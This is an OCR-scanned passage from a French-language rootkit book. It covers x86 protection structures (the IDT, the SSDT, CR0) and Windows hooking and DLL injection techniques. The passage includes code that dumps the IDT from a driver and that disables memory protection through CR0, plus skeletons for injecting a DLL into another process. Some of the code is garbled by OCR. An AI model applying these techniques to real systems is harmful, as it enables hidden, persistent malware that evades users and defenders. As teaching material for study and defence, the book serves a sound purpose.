provoquant un debranchement de type far : appel, saut ou retour, ou la valeur de retour 
de cs sera prelevee du sommet de la pile 1 2 . II est interessant de noter que vous pouvez 
provoquer 1’ execution de votre code simplement en mettant le bit R a 0 dans le 
descripteur. 

Les portes d'appel (call gates) 

Un type special de descripteur appele porte d’appel (call gate ) peut etre place dans la 
LDT ou la GDT. Un programme peut executer un appel far avec le descripteur defini 
pour une porte d’appel. Lorsque l’appel se produit, un nouveau niveau d’anneau peut 
etre specific. Cette technique pourrait etre utilisee pour permettre a un programme en 
mode utilisateur d’effectuer un appel de fonction dans le mode noyau. Ce pourrait etre 
une porte derobee interessante pour un rootkit. Le meme mecanisme pourrait etre 
utilise avec un saut far, mais seulement lorsque la porte d’appel se trouve dans le 
meme niveau de privileges ou a un niveau inferieur que celui du processus executant 
le saut 1 2 . 

Lorsqu’une porte d’appel est utilisee, l’adresse est ignoree, seule la valeur indiquee 
dans le descripteur importe. La structure de donnees de la porte d’appel indique au 
processeur ou le code de la fonction appelee reside. Les arguments peuvent 
eventuellement etre lus de la pile. Par exemple, une porte d’appel peut etre creee de 
maniere que 1’ appelant place les arguments de commandes secrets sur la pile. 

La table de descripteurs d'interruptions 

Le registre de table de descripteurs d’interruptions, ou IDTR (.Interrupt Descriptor 
Table Register ), contient l’adresse de base de 1’IDT, la table des descripteurs 
d’interruptions. Cette table, qui sert a identifier les fonctions de traitement des 
interruptions, est tres importante 3 . Les interruptions servent a une variete de fonctions 
de 

1. L’instruction IRET peut aussi etre utilisee. 

2. L’exception serait un saut far vers un segment de code "conforme". 

3. Pour que la gestion d'interruption se produise avec un processeur, le bit IF dans le registre E FLAGS du 
processeur doit etre a 1. 
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bas niveau dans un ordinateur. Par exemple, lorsqu’une touche du clavier est pressee, 
une interruption est declenchee. 

L'IDT est implementee en tant que tableau (array) de 256 entrees, une pour chaque 
interruption. Ceci signifie qu’il peut y avoir jusqu’a 256 interruptions pour un 
processeur. Sur une machine multiprocesseur, chaque processeur possede son propre 
registre IDTR et done sa propre IDT. Un rootkit deploye sur un tel ordinateur devra en 
tenir compte. 

Lorsqu’une interruption se produit, le numero de T interruption est obtenu a partir de 
Tinstruction d’ interruption ou du controleur d’ interruption (ou PIC, Programmable 
Interrupt Controller ). Dans les deux cas, 1TDT est utilisee pour identifier la fonction a 
appeler. Cette fonction est aussi appelee un vecteur ou une routine de sendee 
d ’interruption (ou ISR, Interrupt Sendee Routine). 

Lorsque le processeur opere dans le mode protege, 1’IDT est un tableau de 256 entrees 
de 8 octets chacune. Chaque entree contient l’adresse de 1’ISR et d’autres informations 
de securite. 

Pour obtenir Tadresse de base de 1’IDT en memoire, il faut lire le registre IDTR avec 
Tinstruction si dt ( Store Interrupt Descriptor Table). Vous pouvez aussi changer le 
contenu du registre avec Tinstruction lidt ( Load Interrupt Descriptor Table). 
Davantage de details concemant cette technique sont donnes au Chapitre 8. 

Une astuce employee par les rootkits est de creer une nouvelle table d’ interruptions qui 
peut etre utilisee pour masquer les modifications apportees a la table d’ interruptions 
originale. Ainsi, un scanner de virus pourra toujours verifier Tintegrite de TIDT 
originale, mais le rootkit en fera une copie qu’il pourra modifier sans etre detecte et 
changera la valeur de P IDTR. 

L’instruction sidt stocke le contenu de TIDTR dans le format suivant : 

/* sidt retourne idt dans ce format */ 
typedef struct { 

unsigned short IDTLimit; 
unsigned short LowIDTbase; 
unsigned short HilDTbase; 

} IDTINFO; 
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En utilisant les donnees foumies par E instruction sidt, un attaquant peut trouver la 
base de 1’IDT et en copier le contenu. 

Souvenez-vous que 1’IDT peut avoir jusqu’a 256 entrees et que chaque entree contient, 
entre autres donnees, un pointeur vers une routine de service d’interruption. Les 
entrees ont la structure suivante : 

// Entree dans l'IDT : parfois appelee // 

"porte d ' interruption" (interrupt gate). 

#pragma pack(l) typedef struct { 
unsigned short LowOffset; 
unsigned short selector; 
unsigned char unused_lo; 

unsigned char segment_type:4; //0x0E est une porte d ' interruption unsigned 
char system_segment_flag: 1 ; 

unsigned char DPL:2; // Niveau de privileges du descripteur (DPL) unsigned 
char P : 1 ; // present, 

unsigned short HiOffset; 

} IDTENTRY; 

#pragma pack() 

Cette structure de donnees est utilisee pour localiser en memoire la fonction 
responsable du traitement de 1’ interruption. Elle est parfois appelee une porte 
d’interruption (interrupt gate). Par son intermediate, un programme en mode 
utilisateur peut appeler une routine en mode noyau. Par exemple, l’interruption pour un 
appel systeme est ciblee a l’offset 0 x 2 E dans l’IDT. 

Un appel systeme est traite dans le mode noyau, meme s’il peut etre initie a partir du 
mode utilisateur. Des portes d’interruption supplementaires peuvent etre inserees en 
tant que porte derobee par un rootkit. Un rootkit peut egalement faire un hook des 
portes d’ interruptions existantes. 

Pour acceder a l’IDT, prenez exemple sur le code suivant : 

#def ine MAKELONGfa, b) 

((unsigned long) (((unsigned short) (a)) | ((unsigned long) ((unsigned short) 
(b))) « 16)) 

Nous avons dit plus haut que le nombre maximal d’ entrees d’une IDT est 256. 


#def ine MAX IDT ENTRIES 0xFF 
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Dans notre exemple de rootkit, nous implementons l’analyseur a l’interieur de la 
routine DriverEntry : 

NTSTATUS DriverEntry(IN PDRIVER_0B1ECT theDriverObject, 

IN PUNICODE_STRING theRegistryPath ) 


IDTINFO idt_info; // Cette structure est obtenue en // 
appelant STORE IDT (sidt) 

IDTENTRY* idt_entries; // et ensuite ce pointeur est 

// obtenu de idt_info. 

unsigned long count; 

// Charge idt_info asm sidt, idt_info 


Nous utilisons les donnees retoumees par l’instruction sidt pour obtenir la base de 
1’IDT. Nous lisons ensuite chaque entree dans une boucle puis envoyons certaines 
donnees en sortie de debug : 

idt_entries = (IDTENTRY*) 

MAKE LONG (idt_inf o. LowIDTbase, idt_info.HilDTbase) ; 

for(count = 0;count <= MAX_IDT_ENTRIES;count++) 

{ 

char _t[255]; 

IDTENTRY *i = &idt_entries[count] ; unsigned 
long addr = 0; 

addr = MAKELONG(i->LowOffset, i- >HiOff set) ; 

_snprintf (_t, 

253, 

"Interrupt %d: ISR 0x%08X", count, addr); 

DbgPrint(_t) ; 

} 

return STATUS_SUCCESS; 

} 


Cet exemple de code illustre 1’ analyse de 1’IDT. Aucune modification n’est apportee a 
la table. Toutefois, ce code pourrait facilement devenir la base de quelque chose de 
plus complexe. 

Davantage de details du travail avec les interruptions seront apportes dans les 
Chapitres 5 et 8. 

D'autres types de portes (gates) 

Au-dela des portes d’ interruptions, 1’IDT peut aussi contenir des portes de taches (task 
gates) et des portes de deroutement (trap gates). Une porte de deroutement differe 
d’une porte d’ interruption par le seul fait qu’elle peut utiliser des interruptions 
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masquables alors qu’une porte d’ interruption ne le peut pas. En revanche, une porte de 
tache est une fonction relativement perimee du processeur. Elle peut etre utilisee pour 
forcer un changement de tache x86. Puisqu’elle n’est pas employee par Windows, 
nous ne donnerons pas d’exemple de son emploi. 

II ne faut pas confondre une tache avec un processus sous Windows. Une tache pour 
un processeur x86 est geree par un segment de changement de tache, ou TSS (Task 
Switch Segment), une fonctionnalite qui etait utilisee a l’origine pour gerer les taches 
au moyen du materiel. Linux, Windows et un grand nombre d’autres systemes 
d’ exploitation implemented le changement de tache au niveau logiciel et n’utilisent 
pas le mecanisme materiel sous-jacent. 

La table de distribution des services systeme (SSDT) 

La SSDT est utilisee pour rechercher la fonction de traitement d’un appel systeme. Ce 
mecanisme est implements dans le systeme d’ exploitation et non dans le processeur. 
Un programme peut effectuer un appel systeme de deux talons : a l’aide de 
Tinterruption 0x2E ou de l’instruction SYSENTER. 

Sous Windows XP et au-dela, les programmes emploient generalement Tinstruction 
alors que les plates-formes plus anciennes recouraient a P interruption. Les deux 
methodes different totalement bien qu’elles produisent le meme resultat. 

Un appel systeme provoque 1’ appel de la fonction KiSystemService dans le noyau. 
Cette fonction recupere le numero de service systeme dans le registre EAX et localise le 
service dans la SSDT. KiSystemService copie aussi les arguments de l’appel depuis la 
pile du mode utilisateur vers la pile du mode noyau. Le registre EDX pointe vers les 
arguments. Certains rootkits viennent se greffer dans cette chaine de traitement pour 
intercepter des donnees, modifier les arguments ou detoumer Tappel systeme. Cette 
technique est couverte en detail au Chapitre 4. 

Les registres de controle 

Outre P emploi des tables systeme, quelques registres speciaux controlent certaines 
fonctionnalites importantes du processeur. Ces registres peuvent etre utilises par des 
rootkits. 
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Le registre de controle 0 (CRO) 

Un registre de controle contient des bits qui influent sur le comportement du 
processeur. Une methode connue permettant de desactiver la protection de la memoire 
dans le noyau consiste a modifier un registre de controle appele CR0. 

Ce registre a ete introduit a l’epoque de 1’ humble processeur 286 et s’appelait 
auparavant le "mot de statut machine" (machine status word). II a ete renomme 
Control Register Zero ou, plus simplement, CR 0 , lors de 1’ introduction du 386. Ce 
n’est qu’avec la commercialisation du 486 que le bit WP de protection contre l’ecriture 
a ete ajoute au registre CR 0 . Ce bit controle si le processeur autorise ou non les acces 
en ecriture aux pages marquees en lecture seule. Une fois mis a 0, ce bit desactive la 
protection memoire. C’est une technique importante pour les rootkits de noyau qui 
visent la modification de structures de donnees du systeme d’ exploitation. 

Le code suivant illustre comment desactiver et reactiver la protection memoire en 
utilisant la technique CRO : 


// Deprotege la protection memoire 
_ asm 

{ 

push eax 

mov eax, CR0 

and eax, 0FFFEFFFFh 

mov CR0, eax 

pop eax 

} 

// Execute quelque chose 
// Reprotege la memoire 
_asm 

{ 

push eax 

mov eax, CR0 

or eax, NOT ©FFFEFFFFh 

mov CR0, eax 

pop eax 

} 

D'autres registres de controle 

II existe quatre registres de controle supplementaires qui traitent d’autres fonctions 
pour le processeur. CRI reste inutilise ou non documente. CR2 sert lorsque le 
processeur opere en mode protege. II conserve la demiere adresse ayant provoque 
une faute de page. CR3 contient f adresse du repertoire de pages. CR4 a ete intro- 
duit avec le Pentium (et les demieres versions du 486). II se charge d’ operations 
speciales, comrne lors de l’activation du mode 8086 virtuel, c’est-a-dire lorsqu’un 
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ancien programme pour DOS est execute sous Windows NT. Lorsque ce mode est 
active, le processeur deroute les instructions privilegiees comme cli , sti et int . Dans 
la plupart des cas, ces registres ne sont pas utiles aux rootkits. 

Le registre EFLAGS 

Le registre eflags est egalement important. D’une part, il gere l’indicateur (ou fanion) 
de deroutement (tmpflcig). Lorsque cet indicateur est a 1, le processeur opere en mode 
pas a pas. Un rootkit peut tirer parti de cette information pour savoir si un debugger est 
actif ou pour echapper a un scanner de virus. II est possible de desactiver les 
interruptions en mettant 1’ indicateur d’ interruption a 0 (interrupt flag). De plus, le bit 
de niveau de privileges des E/S (IOPLflag) peut etre utilise pour modifier le systeme de 
protection par anneaux utilise par la plupart des systemes d’ exploitation sur la plate - 
forme Intel. 


Systemes multiprocesseurs 

Avec les systemes multiprocesseurs — parfois appeles systemes a multitraitement 
symetrique ou SMP (Symmetric Multiprocessing System) — et les systemes avec 
hyperthreading, les developpeurs de rootkits sont confrontes a certains problemes, le 
principal etant celui de la synchronisation. Si vous avez deja developpe des 
applications multi threads, vous avez probablement deja ete amene a comprendre le 
concept de securite de thread et ce qui peut se produire si deux threads accedent 
simultanement a un meme objet de donnees. Sinon il suffit de savoir que, si deux 
operations distinctes accedent a un meme objet, celui-ci sera corrompu. 

Les systemes multiprocesseurs s’ apparentent en quelque sorte a des environnements 
multithreads car le code peut etre execute en meme temps sur plusieurs processeurs. Le 
Chapitre 7 traite de la synchronisation multiprocesseur. 

La Figure 3.8 illustre F architecture d’un systeme multiprocesseur. Vous pouvez voir 
que plusieurs processeurs se partagent une zone memoire, un jeu de controleurs et un 
groupe de peripheriques. 

Il faut se souvenir de certains points a propos des systemes multiprocesseurs : 

H Chaque processeur possede sa propre table d’ interruptions. En cas de hook de table 
d’ interruption, il faut prevoir la technique pour tous les processeurs. Il ne 
s’appliquerait sinon qu’a un processeur. Ce peut etre intentionnel si le rootkit n’a 
pas besoin d’un controle a 100 % des interruptions, mais c’est rare. 
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Figure 3.8 

Une architecture de bus multiprocesseur. 

S Un driver qui fonctionne correctement sur un seul processeur peut planter 
(provoquer l’ecran bleu) sur un systeme multiprocesseur. II faut inclure les 
systemes multiprocesseurs dans un plan de test. 

ffl La meme fonction de driver peut etre executee simultanement dans plusieurs 
contextes sur plusieurs processeurs. La seule fac^on d’obtenir un fonctionnement 
securise est de recourir au verrouillage et a la synchronisation avec les ressources 
partagees. 

m Les systemes multiprocesseurs comprennent des routines interlock, spinlock et 
mutex. Ce sont des outils foumis par le systeme qui aident a synchroniser les acces 
aux donnees. La documentation du DDK donne des details sur leur utilisation. 

■ II ne faut pas implementer des mecanismes de verrouillage personnalises. Utilisez 
les outils deja foumis par le systeme. Si vous devez absolument le faire, vous 
devez vous familiariser avec les barrieres memoire (KeMemoryBarrier, etc.) et le 
reordonnancement des instmctions. Ces sujets sortent du cadre de ce livre. 

S Le rootkit doit detecter le processeur qui execute son code. Pour cela, il peut utiliser 
un appel de KeGetCurrentProcessorNumber. La fonction KeGetActive- Processors 
permet de determiner le nombre de processeurs actifs dans le systeme. 

■ II est possible de planifier 1’ execution du code sur un processeur specif! que. 
Consultez la documentation du DDK a propos de KeSetTargetProcessorDPC. 
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Conclusion 

Ce chapitre a introduit les mecanismes de niveau materiel qui fonctionnent en coulisse 
pour assurer la securite et la protection de la memoire au niveau du systeme 
d’ exploitation. Nous avons vu l’emploi de la table d’ interruptions. Cette connaissance 
forme la base sur laquelle vous pourrez developper une comprehension plus profonde 
de la manipulation des ordinateurs. Etant donne que le materiel sous-tend 
E implementation des logiciels, tous les programmes sont susceptibles d’etre 
manipules au niveau materiel. Une comprehension dans le detail de ces concepts est 
un point de depart decisif pour acquerir de reelles competences en matiere de rootkits 
et de detoumement logiciel. 
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Comment l 'ocean devient-il le roi de tous lesfleuves ? En se plagant plus bas qu 
'eux ! Ainsi, il regne sur eux. 

- Lao Tseu 


La plupart des rootkits servent deux objectifs : assurer un acces continu au systeme 
cible et garantir la furtivite des operations. Pour les atteindre, un rootkit doit modifier 
le chemin d’ execution du systeme d’ exploitation ou s’en prendre directement aux 
donnees representant des informations sur les processus, les drivers, les connexions 
reseau, etc. Le Chapitre 7 couvre la seconde approche. Ce chapitre-ci decrit comment 
changer le chemin d’ execution de fonctions importantes foumies par le systeme 
d’ exploitation. Nous aborderons pour commencer de simples hooks en mode 
utilisateur dans un processus cible puis passerons a des hooks plus globaux de niveau 
noyau et terminerons par la presentation d’une methode hybride. Ne perdez pas de vue 
que le but est d’intercepter le flux normal d’execution et de modifier les informations 
retoumees par les API de reporting du systeme d’ exploitation. 

Hooks de niveau utilisateur 

Windows comprend trois sous-systemes (Win32, POSIX et OS/2) dont dependent la 
plupart des processus. Ces sous-systemes s’accompagnent d’un ensemble d’API bien 
documents. Par l’intermediaire de ces API, un processus peut sollicker l’aide 
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du systeme d’ exploitation. Etant donne que des programmes comme le Gestionnaires 
des taches, l’Explorateur Windows et EEditeur du registre s’appuient sur ces API, ce 
sont des cibles parfaites pour un rootkit. 

Par exemple, imaginez qu’une application liste tous les fichiers d’un repertoire et 
accomplisse dessus une operation quelconque. Cette application peut s’executer dans 
l’espace utilisateur sous la forme d’un programme utilisateur ou d’un service. 
Supposez egalement qu’il s’agisse d’une application Win32, ce qui signifie qu’elle 
utilisera Kernel32.dll, User32.dll, Gui32.dll et Advapi.dll pour appeler des 
fonctions du noyau. 

Sous Win32, pour lister tous les fichiers d’un repertoire, une application invoque en 
premier la fonction FindFirstFile, qui est exportee par la DLL Kernel32.dll et 
retoume un handle si tout se passe bien. 

Ce handle est utilise lors des appels successifs d’une autre fonction provenant de la 
meme DLL, FindNextFile, pour parcourir tous les fichiers et sous-repertoires contenus 
dans le repertoire. Pour pouvoir utiliser ces deux fonctions, 1’ application charge 
Kernel32. dll au moment de 1’ execution et copie leur adresse memoire dans sa table 
d’ importation, appelee IAT {Import Address Table). Lorsque 1’ application invoque 
FindNextFile, le flux d’execution dans le processus se debranche vers un emplacement 
de sa table IAT puis se poursuit a T adresse de FindNextFile dans Kernel32. dll. II en 
va de meme pour FindFirstFile. 

FindNextFile effectue ensuite un appel dans Ntdll.dll. Cette DLL charge dans le 
registre eax le numero du service systeme correspondant a une fonction du noyau 
equivalente a FindNextFile, a savoir NtQueryDirectoryFile. Elle charge aussi dans le 
registre edx l’adresse des parametres de FindNextFile dans l’espace utilisateur. Puis 
elle emet une instruction int 2E ou sysenter pour provoquer un deroutement {trap) 
vers le noyau (ces deroutements sont converts plus loin dans ce chapitre). Cette 
sequence d’ appels est illustree a la Ligure 4. 1 . 

Etant donne que V application charge Kernel32.dll dans son espace d’adressage prive 
entre les adresses 0 x 00010000 et 0X7FFE0000, un rootkit peut directement remplacer 
n’importe quelle fonction dans Kernel32.dll ou dans la table IAT de Tapplication des 
lors qu’il a acces a Tespace d’adressage du processus cible. Cette technique porte le 
nom de hooking d 'API. Dans notre exemple, le rootkit pourrait remplacer FindNextFile 
par un code machine personnalise afin d’empecher le listage de certains fichiers ou de 
modifier les performances de FindNextFile. 
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Figure 4.1 

Chemin d'execution de FindNextFile. 

II pourrait aussi remplacer une entree de la table IAT dans l’application cible pour la 
faire pointer vers la fonction du rootkit plutot que celle de Kernel32. dll. Grace au 
hooking d’API, vous pouvez, entre autres choses, dissimuler un processus, masquer un 
port reseau, rediriger des operations d’ecriture vers un autre fichier ou encore 
empecher une application d’ ouvrir un handle sur un processus particulier. En fait, ce 
que cette technique vous permet de faire depend en grande partie de votre imagination. 

Maintenant que vous comprenez la theorie de base du hooking d’API et ce que vous 
pouvez en faire, les trois prochaines sections examinent en detail 1’ implementation 
d’un hook d’API dans un processus utilisateur. La premiere section explique comment 
fonctionne un hook d’LAT et la deuxieme decrit ce qu’est un hook de fonction en ligne 
et comment il opere. La troisieme aborde l’injection d’une DLL dans un processus 
utilisateur. 
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Hooking de la table IAT 

Le plus simple des deux processus de hooking en mode utilisateur est le hooking de la 
table IAT. Lorsqu’une application utilise une fonction dans un autre fichier, elle doit 
importer l’adresse de cette fonction. La plupart des applications qui emploient PAP I 
Win32 le font au moyen d’une table d’ importation, comme evoque precedemment. 
Chaque DLL utilisee par l’application est contenue dans l’image de l’application sur le 
systeme de fichiers, dans une structure appelee image import descriptor. Cette 
structure contient le nom de la DLL dont les fonctions sont importees par L application 
et deux pointeurs vers deux tableaux de structures image_import_by_name. Chaque structure 
image_import_by_name contient le nom d’une des fonctions importees. 

Lorsque le systeme d’ exploitation charge l’application en memoire, il analyse les 
structures image_import_descriptor et charge toutes les DLL requises dans l’espace 
memoire de l’application. Apres que les DLL ont ete mappees en memoire, il localise 
chaque fonction importee et remplace un des tableaux de structures 
image_import_by_name par les adresses de ces fonctions (pour en savoir plus sur les 
structures du format PE de Windows, voyez Particle de Matt Pietrek 1 ). 

Une fois que la fonction de hooking du rootkit se trouve dans l’espace d’adressage de 
Papplication cible, le rootkit peut analyser le format PE de Papplication en memoire et 
remplacer Padresse de la fonction cible dans la table IAT par Padresse de la fonction 
de hooking. Ensuite, lorsque la fonction d’origine est invoquee, le hook est execute a la 
place. La Figure 4.2 illustre le flux de controle avec une table d’importation hookee. 

Nous verrons plus loin dans ce chapitre comment placer un rootkit dans Pespace 
d’adressage d’une application. Le code permettant de hooker PIAT d’un executable 
donne est presente a la section "Approche de hooking hybride" vers la fin du chapitre. 


1. M. Pietrek, "Peering Inside the PE: A Tour of the Win32 Portable Executable File Format", Microsoft 
Systems Journal, mars 1994. 
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Figure 4.2 

Chemin d'execution normal vs chemin d'execution modifie par un hook d'lAT. 


Comme vous pouvez le voir a la Figure 4.2, cette technique, tout en etant tres 
puissante, est egalement assez simple. L’ inconvenient est que ce type de hook est 
relativement facile a decouvrir. Mais il est aussi frequemment utilise, meme par le 
systeme d’ exploitation dans le cadre d’un processus appele DLL forwarding. 
Quelqu’un qui tenterait de detecter un hook de rootkit pourrait done avoir du mal a 
distinguer un hook legitime inoffensif d’un hook malveillant. 

Un autre probleme avec cette technique conceme le moment auquel se produit la 
liaison {binding). Certaines applications effectuent une liaison differee (laie binding ), 
ce qui veut dire que les adresses des fonctions ne sont resolues que lorsque ces 
demieres sont invoquees, reduisant la quantite de memoire utilisee par l’application. 
Ces adresses peuvent done etre absentes de FIAT quand le rootkit tente de s’y greffer. 
De plus, si l’application emploie LoadLibrary et GetProcAddress pour trouver les 
adresses des fonctions, le hook de FIAT ne fonctionnera pas. 

Hooking de fonctions en ligne 

Le second processus de hooking en mode utilisateur que nous allons aborder est le 
hooking de fonctions en ligne. Les hooks de fonctions en ligne sont beaucoup plus 
puissants que les hooks d’lAT car, contrairement a ces demiers, ils ne sont pas 
affectes par le moment de la liaison de la DLL. Lors de T implementation d’un hook de 
fonction en ligne, le rootkit remplace des octets de code de la fonction cible de sorte 
que, quel que soit le moment ou la maniere dont T application resout son adresse, la 
fonction sera inevitablement hookee. Cette technique peut etre employee dans le 
noyau ou bien dans un processus utilisateur, le second cas etant le plus courant. 
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Generalement, un hook de fonction en ligne est implements en sauvegardant une copie 
des cinq premiers octets de la fonction cible que le hook remplacera. Une fois ces 
octets mis de cote, un saut immediat est introduit a la place, conduisant au hook du 
rootkit. Le hook invoque ensuite la fonction d’origine en utilisant les octets copies. 
Avec cette methode, la fonction d’origine rend le controle de P execution au hook, qui 
peut alors modifier les donnees qu’elle retoume. 

Les cinq premiers octets d’une fonction representent 1’ emplacement ou il est le plus 
facile de placer ce type de hook. II y a deux raisons a cela. La premiere est liee a la 
structure de la plupart des fonctions en memoire. La majorite des fonctions dans l’API 
Win32 debute de la meme maniere, c’est-a-dire par ce que Ton nomine un preambule. 
Le bloc de code suivant illustre des preambules typiques en langage assembleur : 


Pre-XP SP2 Code 

Bytes 

Assembly 


55 

push ebp 


8bec 

mov ebp, esp 

Post-XP SP2 Code 

Bytes 

8bff 

Assembly 
mov edi, edi 


55 

push ebp 


8bec 

mov ebp, esp 


II est important de determiner la version du preambule que le rootkit est cense 
remplacer. Un saut inconditionnel vers le hook du rootkit sur l’architecture x86 
requiert typiquement cinq octets. Le premier correspond a f opcode, ou code 
d’operation, imp et les quatre autres, a l’adresse du hook. Une illustration de ce point 
est donnee au Chapitre 5. 

Sur un sy steme anterieur a XP SP2, ce seront trois octets du preambule ainsi que deux 
octets d’une autre instruction qui seront remplaces. Pour tenir compte de cela, la 
fonction de patching doit etre capable de desassembler le debut de la fonction et de 
determiner la longueur des instructions afin de preserver les opcodes de la fonction 
d’origine. Sur un systeme XP SP2 ou plus, le preambule compte exactement cinq 
octets, soit juste la place qu’il faut, ce qui facilite la tache. Microsoft a choisi a dessein 
un tel format pour permettre le hot patching, ou modification a chaud (P insertion de 
nouveau code sans avoir a redemarrer la machine). Meme Microsoft sait a quel point 
un hook en ligne est commode lorsque tous les octets sont bien alignes. 
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L’ autre raison pour laquelle ce sont habituellement les premiers octets de la fonction 
cible que Ton remplace est que plus le hook est place loin dans la fonction, plus le 
retour dans le code est delicat. L’ emplacement hooke peut etre appele de nombreuses 
fois par la fonction cible, ce qui peut causer des resultats indesirables. Pour simplifier 
les choses, le rootkit devrait hooker l’unique point d’ entree de la fonction et modifier 
les resultats qu’elle retoume apres sa sortie. 

Le rootkit enregistre les premiers octets de la fonction d’origine dans ce que Lon 
appelle un trampoline. Le saut qui est introduit a la place se nomme un detour. Le 
detour appelle le trampoline, qui se debranche vers la fonction cible plus cinq octets 
environ. Lorsque celle-ci rend le controle au detour, le rootkit peut modifier les 
resultats qu’elle retoume. La Figure 4.3 illustre ce processus. La fonction source 
correspond au code qui invoque originellement la fonction cible. 



Figure 4.3 

Ordonnancement tempore! d'une fonction 


Vous en apprendrez davantage sur F implementation d’un hook de fonction en ligne au 
Chapitre 5. Nous vous encourageons egalement a lire le document de reference sur le 
patching de fonctions en ligne de Microsoft Research 1 2 . 

Injection d'une DLL dans des processus en mode utilisateur 

Les trois prochaines sections exposent des techniques permettant de placer le code 
d’un rootkit dans l’espace d’adressage d’un autre processus. Ces methodes ont ete 
initialement documentees par Jeffrey Richter 1 2 . Une fois la DLL chargee dans le 
processus cible, elle peut modifier le chemin d’ execution d’API couramment utilisees. 


1 . G. Hunt et D. Brubacker, "Detours: Binary Interception of Win32 Functions", Proceedings ofthe Third 

USENIX Windows NT Symposium, juillet 1999, pp. 135-43. 

2. J. Richter, "Load Your 32-bit DLL into Another Process’s Address Space Using INJLIB", Microsoft Systems 
Joumai/9 No. 5 (mai 1994). 
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Injecter une DLL en utilisant le Registre 

Dans Windows NT/2000/XP/2003, il existe une cle de registre appelee 
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVer- sion \Windows 
\Appinit_DLLs . Un rootkit peut definir comme valeur de cette cle une de ses propres 
DLL, qui modifie 1’IAT du processus cible ou modifie directement Kernel32.dll ou 
Ntdll.dll. Lorsqu’une application qui utilise User32.dll est chargee, la DLL listee en 
tant que valeur de cette cle est egalement chargee par User32.dll dans l’espace 
d’adressage de 1’ application. 

User32.dll charge les DLL listees dans cette cle avec un appel de la fonction 
LoadLibrary. Pour chaque DLL qui est chargee, la fonction DllMain correspondante est 
invoquee avec la raison dll process attach. II existe trois autres raisons pour 
lesquelles une DLL peut etre chargee dans l’espace d’adressage d’un processus, mais 
seule celle-ci nous interesse ici. Le rootkit devrait hooker toutes les fonctions qu’il a 
pour cible lorsque sa DLL est chargee pour la premiere fois par le processus, ce qui est 
indique par la raison dll process attach. Etant donne que DllMain est invoquee 
automatiquement et que la DLL se trouve dans l’espace d’adressage de toute 
application qui utilise Usen32. dll, soit la plupart des applications (a l’exception de 
celles de type console), le rootkit pourrait aisement hooker des appels de fonctions 
pour dissimuler certaines preuves de sa presence, tels que fichiers, cles de registre, etc. 

Certaines sources indiquent que cette technique presente un inconvenient, a savoir que 
l’ordinateur doit etre redemarre apres que le rootkit a modifie la cle de registre pour 
que la nouvelle valeur prenne effet. Toutefois, ce n’est pas entierement correct. Aucun 
des processus crees avant la modification de la cle ne sera infecte. En revanche, la 
DLL du rootkit sera injectee dans tous les processus crees apres, sans me me que la 
machine ne soit reinitialisee. 

Injecter line DLL en utilisant des hooks Windows 

Les applications re£oivent des messages pour de nombreux evenements qui 
surviennent sur l’ordinateur en rapport avec leur execution. Par exemple, une 
application peut recevoir un message lorsque l’une de ses fenetres est active et que la 
souris la survole ou qu’une touche est enfoncee, ou lorsqu’un bouton fait l’objet d’un 
clic. 
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Microsoft definit une fonction, SetWindowsHookEx, qui permet de hooker des messages 
de fenetre d’un autre processus, ce qui permettrait de charger efficacement une DLL 
de rootkit dans l’espace d’adressage du processus. 

Imaginez que vous vouliez injecter une DLL dans un processus nomme B. Un autre 
processus, que nous nommerons A ou le chargeur du rootkit (loader), peut invoquer 
SetWindowsHookEx. Voici le prototype de cette fonction tel qu’il est defini sur 
Microsoft MSDN : 

HHOOK SetWindowsHookEx( int idHook, 

HOOKPROC lpfn, 

HINSTANCE hMod, 

DWORD dwThreadld 

); 

Cette fonction accepte quatre parametres. Le premier specifie le type de message 
d’evenement qui declenchera le hook. Par exemple, wh keyboard installe une 
procedure de hooking qui surveille les evenements d’ entree du clavier. Le deuxieme 
indique l’adresse dans le processus A de la fonction que le systeme devrait appeler 
lorsqu’une fenetre est sur le point de traiter le message specifie. Le troisieme consiste 
en l’adresse virtuelle de la DLL qui contient cette fonction. Le dernier correspond au 
thread qui doit etre hooke. Si sa valeur est 0, le systeme hooke tous les threads du 
bureau Windows courant. 

Supposons que A invoque SetWindowsHookEx (WH_KEYBOARD, myKeyBrdFuncAd, 
myDUHandle, 0). Lorsque B est sur le point de recevoir un evenement du clavier, il 
charge la DLL du rootkit indiquee par myDUHandle, qui contient la fonction 
myKeyBrdFuncAd . Cette DLL pourrait etre la partie du rootkit qui hooke 1’IAT dans 
l’espace d’adressage du processus ou implemente un hook de fonction en ligne. Le 
code suivant illustre la facon dont la DLL du rootkit devrait etre implemented : 

BOOL APIENTRY DllMain(HANDLE hModule, 

DWORD ul_reason_for_call, 

LPVOID IpReserved) 

{ 

if (ul_reason_for_call == D L L_P ROC E SS_ATT ACH ) 

{ 

// N'imponte quel code de hook peut etre ajoute ici // 
maintenant que vous etes dans l'espace d'adressage // du 
processus cible. 

} 


return TRUE; 
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declspec (dllexport) LRESULT myKeyBrdFuncAd (int code, 

WPARAM wParam, 
LPARAM IParam) 

II Le rootkit devnait appeler le prochain hook II 
immediatement au-dessous, mais vous ne savez II jamais de 
quel type de hook il s'agit, return 
CallNextHookEx(g_hhook, code, wParam, IParam); 


Injecter line DLL en utilisant des threads distants 

Une autre facon de charger une DLL dans un processus cible consiste a creer ce que 
Lon appelle un thread distant dans le processus. Vous devez pour cela ecrire un 
programme qui creera le thread specifiant la DLL a charger. Cette strategic se 
rapproche de celle decrite a la section precedente. La fonction CreateRemote- Thread 
refoit sept parametres : 

HANDLE CreateRemoteThread( 

HANDLE hProcess, 

LPSECURITY_ATTRIBUTES lpThreadAttributes, 

SIZE_T dwStackSize, 

LPTHREAD_START_ROUTINE IpStartAddress, 

LPVOID IpParameter, 

DWORD dwCreationFlags, 

LPDWORD lpThreadld 


Le premier parametre est un handle sur le processus dans lequel injecter le thread. 
Pour obtenir un handle sur le processus cible, le chargeur du rootkit peut invoquer 
OpenProcess avec l’identifiant de ce processus, ou PID (Process Identifier ). Voici le 
prototype de cette fonction : 

HANDLE OpenProcess(DWORD dwDesiredAccess, 

BOOL blnheritHandle, 

DWORD dwProcessId 

Le PID du processus cible peut etre obtenu en utilisant Putilitaire Taskmgr.exe de 
Windows. Bien entendu, il peut egalement etre obtenu par voie de programmation. 

Definissez les deuxieme et septieme parametres avec la valeur null et les troisieme et 
sixieme, avec la valeur 0. 

Restent les quatrieme et cinquieme parametres, qui sont essentiels pour l’attaque. Le 
chargeur du rootkit devrait definir le quatrieme parametre avec l’adresse de 
LoadLibrary dans le processus cible. Vous pouvez employer l’adresse qui se trouve 
